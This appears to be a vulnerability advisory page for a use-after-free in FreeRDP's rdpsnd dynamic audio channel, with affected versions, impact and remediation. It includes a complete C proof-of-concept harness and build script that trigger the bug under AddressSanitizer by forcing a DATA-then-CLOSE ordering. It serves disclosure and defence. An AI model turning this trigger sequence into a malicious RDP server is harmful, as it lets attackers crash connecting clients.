Use-after-free in FreeRDP rdpsnd dynamic channel playback
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- High
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-cx9c-q4jc-wm6c. Fix status from GitHub. Impact type from CWE-416 and the CVSS impact.
Summary
FreeRDP's rdpsnd audio channel over dynamic virtual channels frees a channel callback while the playback thread still uses it, a use-after-free (CWE-416). A malicious RDP server can trigger this by sending an audio PDU and immediately closing the channel. The result is a client memory-safety violation that can crash the process, and code execution was not demonstrated.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
When a FreeRDP client uses asynchronous `rdpsnd` over a dynamic virtual channel, a malicious RDP server can create the channel, send an audio PDU, and immediately close it. The DATA callback posts a copied PDU to the playback queue. `rdpsnd_on_close` frees the channel callback and audio device, while `free_internals` only lowers the reference count from two to one and therefore does not join the playback thread. A queued training PDU then reaches `rdpsnd_virtual_channel_write`, which reads `listener_callback->channel_callback->channel` from the freed callback. A queued formats PDU can instead reach an assertion on the now-null device. The code is in `channels/rdpsnd/client/rdpsnd_main.c`; DVC close is initiated from `channels/drdynvc/client/drdynvc_main.c`. The preserved focused harness includes the unmodified rdpsnd translation unit and its real worker. AddressSanitizer recorded an eight-byte heap use-after-free read at `rdpsnd_virtual_channel_write`, with the free at `rdpsnd_on_close`. The harness forces the ordering with a lock; no live malicious-server run or production trigger rate was established. The confirmed effect is a client memory-safety violation and process availability loss under that ordering. Code execution and information disclosure were not demonstrated. This is a residual dynamic-channel callback issue in the family of [GHSA-vcgv-xgjp-h83q / CVE-2026-24684](https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-vcgv-xgjp-h83q), which addressed a different playback-thread sink in 3.22.0. It is distinct from [GHSA-vqxm-9w7c-hvvx](https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-vqxm-9w7c-hvvx), whose 3.32.0 fix addresses the static rdpsnd disconnect callback. The dynamic listener callback is still freed while the worker survives in the inspected 3.32.0 source. ### Reproduction This is a focused real-source ASan harness, not a wire-level RDP server test. It forces the queued DATA/CLOSE interleaving with `asyncLock`. Save the two complete listings below as `rdpsnd_uaf.c` and `build.sh` in the same directory. Set `FREERDP_SOURCE` and `FREERDP_BUILD` to a matching FreeRDP source and configured build containing the fake audio backend, then run: ```sh export FREERDP_SOURCE=/path/to/FreeRDP export FREERDP_BUILD=/path/to/FreeRDP-build sh build.sh ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 ./rdpsnd_uaf ``` `rdpsnd_uaf.c`: ```c /* * Focused ASan harness for the FreeRDP rdpsnd DVC client lifetime defect * (assessed source revision). It includes the real rdpsnd client translation unit so the * static functions/state are the unmodified shipped code, drives the real * async play thread, then reproduces the wire sequence: * * DATA(training PDU) ... CLOSE_REQUEST * * The DVC thread (simulated by main) frees the per-channel callback in * rdpsnd_on_close() while the play thread still has queued data. The play * thread then calls rdpsnd_virtual_channel_write() which dereferences the * freed GENERIC_CHANNEL_CALLBACK through * listener_callback->channel_callback (rdpsnd_main.c:1161). * * Build: use the inline runner below. */ #include <freerdp/config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/crt.h> #include <winpr/synch.h> #include <winpr/stream.h> #include "channels/rdpsnd/client/rdpsnd_main.c" extern UINT VCAPITYPE fake_freerdp_rdpsnd_client_subsystem_entry( PFREERDP_RDPSND_DEVICE_ENTRY_POINTS pEntryPoints); static HANDLE g_abortEvent = NULL; static volatile LONG g_writeCount = 0; /* The play thread calls freerdp_abort_event(rdpsnd->rdpcontext); the library * version dereferences context->rdp, which we do not have in this harness. * Provide a harness implementation (executable interposes the library one). */ WINPR_ATTR_NODISCARD HANDLE freerdp_abort_event(rdpContext* context) { (void)context; return g_abortEvent; } static UINT harness_write(IWTSVirtualChannel* channel, ULONG size, const BYTE* buffer, void* reserved) { (void)channel; (void)buffer; (void)reserved; (void)size; (void)InterlockedIncrement(&g_writeCount); return CHANNEL_RC_OK; } int main(int argc, char** argv) { (void)argc; (void)argv; setvbuf(stdout, NULL, _IONBF, 0); g_abortEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!g_abortEvent) return 10; rdpsndPlugin* p = allocatePlugin(); if (!p) return 11; p->dynamic = TRUE; p->async = TRUE; /* default: FreeRDP_SynchronousDynamicChannels == FALSE */ /* The DVC plugin initialization and OnOpen each call allocate_internals. */ if (!allocate_internals(p)) return 12; if (!allocate_internals(p)) return 13; /* Load the real fake playback backend (no audio device needed). */ { FREERDP_RDPSND_DEVICE_ENTRY_POINTS ep = WINPR_C_ARRAY_INIT; static char* fakeArgv[2] = { (char*)"rdpsnd", NULL }; static ADDIN_ARGV fakeArgs = { .argc = 1, .argv = fakeArgv }; ep.rdpsnd = p; ep.pRegisterRdpsndDevice = rdpsnd_register_device_plugin; ep.args = &fakeArgs; const UINT rc = fake_freerdp_rdpsnd_client_subsystem_entry(&ep); if ((rc != CHANNEL_RC_OK) || !p->device) { printf("backend load failed rc=%" PRIu32 " device=%p\n", rc, (void*)p->device); return 14; } } /* Emulate the objects drdynvc creates for the DVC. */ GENERIC_LISTENER_CALLBACK lc = WINPR_C_ARRAY_INIT; GENERIC_CHANNEL_CALLBACK* cb = (GENERIC_CHANNEL_CALLBACK*)calloc(1, sizeof(GENERIC_CHANNEL_CALLBACK)); static IWTSVirtualChannel vc = WINPR_C_ARRAY_INIT; if (!cb || !g_abortEvent) return 15; vc.Write = harness_write; cb->plugin = &p->iface; cb->channel = &vc; cb->iface.OnDataReceived = rdpsnd_on_data_received; cb->iface.OnClose = rdpsnd_on_close; lc.channel_callback = cb; p->listener_callback = &lc; printf("[harness] after OnOpen: references=%" PRIuz " thread=%p queue=%p\n", p->references, (void*)p->thread, (void*)p->queue); if (!p->thread || !p->queue) return 16; /* Build the SNDC_TRAINING PDU the malicious server queues ahead of the * CLOSE_REQUEST (8 bytes: 4 byte SNDC header + 2 byte timestamp + 2 byte * pack size). */ wStream* training = Stream_New(NULL, 8); if (!training) return 17; Stream_Write_UINT8(training, SNDC_TRAINING); Stream_Write_UINT8(training, 0); Stream_Write_UINT16(training, 4); Stream_Write_UINT16(training, 0x1234); Stream_Write_UINT16(training, 8); Stream_SealLength(training); Stream_ResetPosition(training); /* Deterministic interleaving: occupy asyncLock so the play thread picks * the message up but blocks before rdpsnd_recv_pdu(). */ EnterCriticalSection(&p->asyncLock); if (!MessageQueue_Post(p->queue, NULL, 0, training, NULL)) return 18; Sleep(200); /* let the play thread reach the asyncLock acquire */ /* DVC thread: drdynvc_process_close_request -> dvcman_channel_close -> * rdpsnd_on_close(). */ rdpsnd_on_close(&cb->iface); printf("[harness] after OnClose: references=%" PRIuz " device=%p listener_callback=%p\n", p->references, (void*)p->device, (void*)lc.channel_callback); if (p->references != 1) printf("[harness] UNEXPECTED references=%" PRIuz " (expected 1: play thread alive)\n", p->references); if (g_writeCount != 0) printf("[harness] training already processed before close (writeCount=%" PRIi32 ") - retry\n", g_writeCount); /* Release: the surviving play thread runs rdpsnd_recv_pdu() on the queued * SNDC_TRAINING and reaches rdpsnd_virtual_channel_write(), which reads * the freed callback object. */ LeaveCriticalSection(&p->asyncLock); Sleep(1000); printf("[harness] completed without sanitizer report, writeCount=%" PRIi32 "\n", g_writeCount); return 0; } ``` `build.sh`: ```sh #!/bin/sh # Build the focused ASan harness against a configured FreeRDP source/build pair. set -eu : "${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP source directory}" : "${FREERDP_BUILD:?set FREERDP_BUILD to the matching configured build directory}" SRC=$(CDPATH= cd -- "$FREERDP_SOURCE" && pwd) BUILD=$(CDPATH= cd -- "$FREERDP_BUILD" && pwd) HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) cc -fsanitize=address -g -O1 -fno-omit-frame-pointer \ -DFREERDP_EXPORTS -DNONAMELESSUNION -DWINPR_DEFINE_ATTR_NODISCARD \ -DWINPR_TIMEZONE_FILE='"/etc/timezone"' -DWITH_OPENSSL -DWITH_SMARTCARD_EMULATE \ -DWITH_VERBOSE_WINPR_ASSERT -D_FILE_OFFSET_BITS=64 \ -I"$SRC" -I"$SRC/winpr/include" -I"$BUILD/winpr/include" -I"$BUILD" \ -I"$BUILD/include" -I"$SRC/include" -I"$SRC/channels/rdpsnd/common" \ -I"$SRC/channels/rdpsnd/client" -Wno-redundant-decls -fsigned-char -std=gnu11 \ -o "$HERE/rdpsnd_uaf" \ "$HERE/rdpsnd_uaf.c" "$SRC/channels/rdpsnd/client/fake/rdpsnd_fake.c" \ -L"$BUILD/libfreerdp" -lfreerdp3 -L"$BUILD/winpr/libwinpr" -lwinpr3 \ -lpthread -lm -Wl,-rpath,"$BUILD/libfreerdp" \ -Wl,-rpath,"$BUILD/winpr/libwinpr" ``` The preserved run against the assessed development source logged `references=2` after opening and `references=1` after closing, then `AddressSanitizer: heap-use-after-free` in `rdpsnd_virtual_channel_write`, with the free in `rdpsnd_on_close`. The harness demonstrates a forced scheduling order, not a measured live network trigger rate. **Impact:** A malicious or compromised RDP server can cause a connecting FreeRDP client with the affected dynamic audio path to use freed heap state and potentially terminate. The stronger code-execution claim remains unproven. **Validation:** Source review of the assessed development revision and 3.32.0, preserved ASan harness output, and archived no-lock harness measurements. No current rebuild or live DVC server test was performed. **Remediation:** Drain or stop and join the dynamic rdpsnd playback worker before callback and device destruction; clear the listener's callback pointer with synchronization; repair reference ownership across close, reopen, and plugin termination. Add a regression test that queues training/formats PDUs before dynamic CLOSE and checks that no worker uses freed state.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | 2.11.8, 3.0.0, 3.21.0, 3.22.0, 3.31.1, 3.32.0 | 3.32.2 | Patch available | GHSA-cx9c-q4jc-wm6c |
- FreeRDP (c) Vendor— Affected 2.11.8, 3.0.0, 3.21.0, 3.22.0, 3.31.1, 3.32.0 Fixed in 3.32.2 Patch available GHSA-cx9c-q4jc-wm6c
Remediation
Upgrade FreeRDP to version 3.32.2, the fixed version listed for the affected FreeRDP builds.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-cx9c-q4jc-wm6c FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-cx9c-q4jc-wm6c
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences